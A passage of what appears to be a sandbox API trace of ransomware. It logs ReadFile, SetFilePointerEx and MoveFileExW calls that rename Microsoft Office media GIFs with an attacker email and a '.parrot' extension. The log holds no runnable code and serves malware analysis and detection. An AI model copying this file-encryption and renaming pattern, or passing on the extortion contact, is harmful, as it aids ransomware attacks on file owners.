Office\\MEDIA\\OFFICE14\\LINES\\BD21319_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21319_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21319_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21319_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.034] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.034] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.035] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.035] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x664, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x664, lpOverlapped=0x0) returned 1 [0167.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.035] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.036] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21320_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21320_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21320_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21320_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.039] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.039] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.041] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.041] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9c5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9c5, lpOverlapped=0x0) returned 1 [0167.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.041] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21321_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21321_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21321_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21321_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.045] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.045] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.046] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.046] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4d3, lpOverlapped=0x0) returned 1 [0167.046] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.047] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.047] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.047] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.047] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21322_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21322_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21322_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21322_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.051] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.051] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.053] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.053] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x395, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x395, lpOverlapped=0x0) returned 1 [0167.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.053] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.054] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21323_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21323_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21323_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21323_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.059] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.059] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.061] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.061] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x395, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x395, lpOverlapped=0x0) returned 1 [0167.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.061] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21324_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21324_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.067] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.067] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.069] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.069] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5e0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5e0, lpOverlapped=0x0) returned 1 [0167.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.069] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21325_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21325_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.073] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.073] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.075] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.075] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6f9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6f9, lpOverlapped=0x0) returned 1 [0167.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.075] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21326_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21326_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.079] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.079] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.080] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.080] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x185, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x185, lpOverlapped=0x0) returned 1 [0167.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.080] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21328_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21328_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.085] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.085] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.086] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.086] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d0, lpOverlapped=0x0) returned 1 [0167.086] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.087] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21330_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21330_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.091] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.091] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.094] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.094] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f91, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f91, lpOverlapped=0x0) returned 1 [0167.094] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.095] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.096] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21332_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21332_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.100] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.100] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.101] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.102] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x888, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x888, lpOverlapped=0x0) returned 1 [0167.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.102] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21334_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21334_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.106] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.106] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.108] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.108] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaeb, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xaeb, lpOverlapped=0x0) returned 1 [0167.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.108] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21336_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21336_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.124] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.124] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.164] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.165] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x344, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x344, lpOverlapped=0x0) returned 1 [0167.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.165] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21338_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21338_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.172] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.172] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.173] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.173] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x96, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x96, lpOverlapped=0x0) returned 1 [0167.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.173] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21340_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21340_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.179] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.179] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.181] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.181] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x46b, lpOverlapped=0x0) returned 1 [0167.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.182] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 